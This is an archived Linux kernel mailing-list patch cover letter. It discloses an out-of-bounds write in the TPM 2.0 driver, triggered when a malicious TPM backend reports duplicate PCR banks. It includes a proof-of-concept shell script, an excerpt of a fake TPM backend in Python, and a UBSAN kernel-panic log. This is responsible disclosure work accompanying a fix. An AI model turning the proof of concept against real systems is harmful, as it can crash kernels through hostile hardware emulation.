From: Yuqi Xu <xuyuqiabc@gmail.com>
To: linux-integrity@vger.kernel.org
Cc: Peter Huewe <peterhuewe@gmx.de>,
Jarkko Sakkinen <jarkko@kernel.org>,
Jason Gunthorpe <jgg@ziepe.ca>,
stable@vger.kernel.org, Vega <vega@nebusec.ai>,
Ren Wei <weir@nebusec.ai>,
xuyq21@lenovo.com
Subject: [PATCH 0/1] tpm: ignore duplicate PCR banks in tpm2_get_pcr_allocation
Date: Sat, 19 Sep 2026 16:46:59 +0800 [thread overview]
Message-ID: <cover.1789800840.git.xuyuqiabc@gmail.com> (raw)
Hi Linux kernel maintainers,
We found and validated an issue in drivers/char/tpm/tpm2-cmd.c.
The bug is triggered by an attacker-controlled TPM 2.0 backend that
returns duplicate PCR bank selections in its TPM2_CAP_PCRS response
during device probe.
We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
`struct tpm_chip` reserves `chip->groups` as an array with only
`3 + TPM_MAX_HASHES` slots (8, with TPM_MAX_HASHES = 5).
`tpm2_get_pcr_allocation()` parses the TPM2_CAP_PCRS response and adds
every selection with a non-zero `pcr_select` to `chip->allocated_banks[]`.
It rejects more than `TPM2_MAX_PCR_BANKS` (8) selections but never checks
that the hash algorithm is unique. `tpm_sysfs_add_device()` then stores
the device group plus one PCR group per allocated bank with
`chip->groups[chip->groups_cnt++]`, so eight duplicate SHA1 banks make it
write index 8 of an 8-element array, before the trailing
`WARN_ON(chip->groups_cnt > TPM_MAX_HASHES + 1)`.
The TPM response is external input: a malicious or buggy TPM 2.0 backend
can report the same bank eight times and drive the out-of-bounds write
during `tpm_chip_register()` -> `tpm_sysfs_add_device()`.
Keep `allocated_banks[]` unique by ignoring a selection whose hash
algorithm has already been added; the number of distinct groups then
matches the number of distinct hash algorithms.
Reproducer:
cd /root
./poc.sh
poc.sh starts malicious_tpm.py, a small swtpm-control-protocol backend
that answers TPM2_CAP_PCRS with eight duplicate SHA1 selections, and boots
a kernel with `-device tpm-tis` pointing at it.
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU/KVM environment with
CONFIG_TCG_TPM, CONFIG_TCG_TIS and CONFIG_UBSAN_BOUNDS enabled and
panic_on_warn=1 on the kernel command line. The test build has
CONFIG_TCG_TPM2_HMAC disabled so the probe reaches TPM2_CAP_PCRS without
the fake backend having to answer CREATE_PRIMARY.
------BEGIN poc.sh------
#!/usr/bin/env bash
set -euo pipefail
DIR="$(cd -- "$(dirname -- "$0")" && pwd)"
KERNEL_SRC="${1:-/home/data/data/repos/linux-repos/linux-lts-v6.12.74}"
CTRL_SOCK="$(mktemp -u /tmp/malicious-tpm-XXXXXX.sock)"
BACKEND_LOG="${DIR}/backend.log"
RAW_QEMU_LOG="${DIR}/qemu-raw.log"
QEMU_LOG="${DIR}/qemu.log"
cleanup() {
if [[ -n "${BACKEND_PID:-}" ]] && kill -0 "${BACKEND_PID}" 2>/dev/null; then
kill -TERM "${BACKEND_PID}" 2>/dev/null || true
wait "${BACKEND_PID}" 2>/dev/null || true
fi
rm -f "${CTRL_SOCK}"
}
trap cleanup EXIT
: > "${BACKEND_LOG}"
python3 "${DIR}/malicious_tpm.py" --ctrl "${CTRL_SOCK}" --log "${BACKEND_LOG}" &
BACKEND_PID=$!
echo "backend log: ${BACKEND_LOG}"
echo "raw qemu log: ${RAW_QEMU_LOG}"
echo "sanitized qemu log: ${QEMU_LOG}"
echo "The VM should exit on its own after the panic. If it does not, kill the printed pid."
script -q -f "${RAW_QEMU_LOG}" -c "${DIR}/qemu-start-kernel-tpm.sh ${KERNEL_SRC} ${CTRL_SOCK}"
perl -pe 's/\e\[[0-9;?]*[ -\/]*[@-~]//g; s/\ec//g; s/\r//g' "${RAW_QEMU_LOG}" > "${QEMU_LOG}"
if grep -q 'UBSAN: array-index-out-of-bounds in ../drivers/char/tpm/tpm-sysfs.c:513:16' "${QEMU_LOG}" &&
grep -q 'Kernel panic - not syncing: UBSAN: panic_on_warn set' "${QEMU_LOG}"; then
echo "Trigger confirmed. See ${QEMU_LOG}"
else
echo "Trigger not observed. See ${QEMU_LOG} and ${BACKEND_LOG}" >&2
exit 1
fi
------END poc.sh--------
------BEGIN malicious_tpm.py excerpt------
ALG_SHA1 = 0x0004
def build_get_cap_pcrs():
entries = []
for _ in range(8):
entries.append(be16(ALG_SHA1) + b"\x03" + b"\x01\x00\x00")
payload = b"\x00" + be32(TPM2_CAP_PCRS) + be32(8) + b"".join(entries)
return build_header(TPM2_RC_SUCCESS, payload)
if cap == TPM2_CAP_PCRS:
return build_get_cap_pcrs()
------END malicious_tpm.py excerpt------
----BEGIN crash log----
[ 0.487531] ------------[ cut here ]------------
[ 0.487533] UBSAN: array-index-out-of-bounds in /home/lucas/work/net-tpm-675/drivers/char/tpm/tpm-sysfs.c:517:16
[ 0.487535] index 8 is out of range for type 'attribute_group *[8]'
[ 0.487538] CPU: 0 UID: 0 PID: 1 Comm: swapper/0 Not tainted 7.3.0-rc3-00322-gab411db3c3b1 #2 PREEMPT(lazy)
[ 0.487541] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.17.0-10.fc44 06/10/2025
[ 0.487542] Call Trace:
[ 0.487553] <TASK>
[ 0.487555] dump_stack_lvl+0x4d/0x70
[ 0.487561] ubsan_epilogue+0x5/0x2b
[ 0.487564] __ubsan_handle_out_of_bounds.cold+0x4e/0x58
[ 0.487567] tpm_sysfs_add_device+0x29f/0x380
[ 0.487573] tpm_chip_register+0x3d/0x1e0
[ 0.487576] ? srso_alias_return_thunk+0x5/0xfbef5
[ 0.487579] ? srso_alias_return_thunk+0x5/0xfbef5
[ 0.487580] tpm_tis_core_init.cold+0x1bc/0x3a1
[ 0.487584] tpm_tis_plat_probe+0x101/0x130
[ 0.487588] ? srso_alias_return_thunk+0x5/0xfbef5
[ 0.487590] platform_probe+0x74/0xc0
[ 0.487594] ? driver_sysfs_add+0x50/0x80
[ 0.487596] really_probe+0xdd/0x290
[ 0.487597] ? srso_alias_return_thunk+0x5/0xfbef5
[ 0.487599] __driver_probe_device+0x99/0x180
[ 0.487601] ? __pfx___driver_attach+0x10/0x10
[ 0.487602] driver_probe_device+0x1a/0xa0
[ 0.487604] ? __pfx___driver_attach+0x10/0x10
[ 0.487605] __driver_attach+0xab/0x180
[ 0.487607] ? srso_alias_return_thunk+0x5/0xfbef5
[ 0.487608] bus_for_each_dev+0x92/0xf0
[ 0.487611] bus_add_driver+0x104/0x220
[ 0.487613] ? __pfx_init_tis+0x10/0x10
[ 0.487617] driver_register+0x70/0xe0
[ 0.487619] init_tis+0x9b/0xf0
[ 0.487623] do_one_initcall+0x84/0x260
[ 0.487626] kernel_init_freeable+0x249/0x2c0
[ 0.487630] ? __pfx_kernel_init+0x10/0x10
[ 0.487633] kernel_init+0x1b/0x140
[ 0.487635] ? __pfx_kernel_init+0x10/0x10
[ 0.487637] ret_from_fork+0x196/0x260
[ 0.487640] ? __pfx_kernel_init+0x10/0x10
[ 0.487641] ? __pfx_kernel_init+0x10/0x10
[ 0.487643] ret_from_fork_asm+0x1a/0x30
[ 0.487646] </TASK>
[ 0.487647] ---[ end trace ]---
[ 0.487648] Kernel panic - not syncing: UBSAN: panic_on_warn set ...
-----END crash log-----
Best regards,
Yuqi Xu
Yuqi Xu (1):
tpm: ignore duplicate PCR banks in tpm2_get_pcr_allocation
drivers/char/tpm/tpm2-cmd.c | 18 +++++++++++++-----
1 file changed, 13 insertions(+), 5 deletions(-)
base-commit: ab411db3c3b1fd0c70a36fb32c96b2c60175210b
--
2.55.0
next reply other threads:[~2026-09-19 8:47 UTC|newest]
Thread overview: 4+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-09-19 8:46 Yuqi Xu [this message]
2026-09-19 8:47 ` [PATCH 1/1] tpm: ignore duplicate PCR banks in tpm2_get_pcr_allocation Yuqi Xu
2026-09-20 7:34 ` Yuqi Xu
2026-09-25 11:53 ` Jarkko Sakkinen
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=cover.1789800840.git.xuyuqiabc@gmail.com \
--to=xuyuqiabc@gmail.com \
--cc=jarkko@kernel.org \
--cc=jgg@ziepe.ca \
--cc=linux-integrity@vger.kernel.org \
--cc=peterhuewe@gmx.de \
--cc=stable@vger.kernel.org \
--cc=vega@nebusec.ai \
--cc=weir@nebusec.ai \
--cc=xuyq21@lenovo.com \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox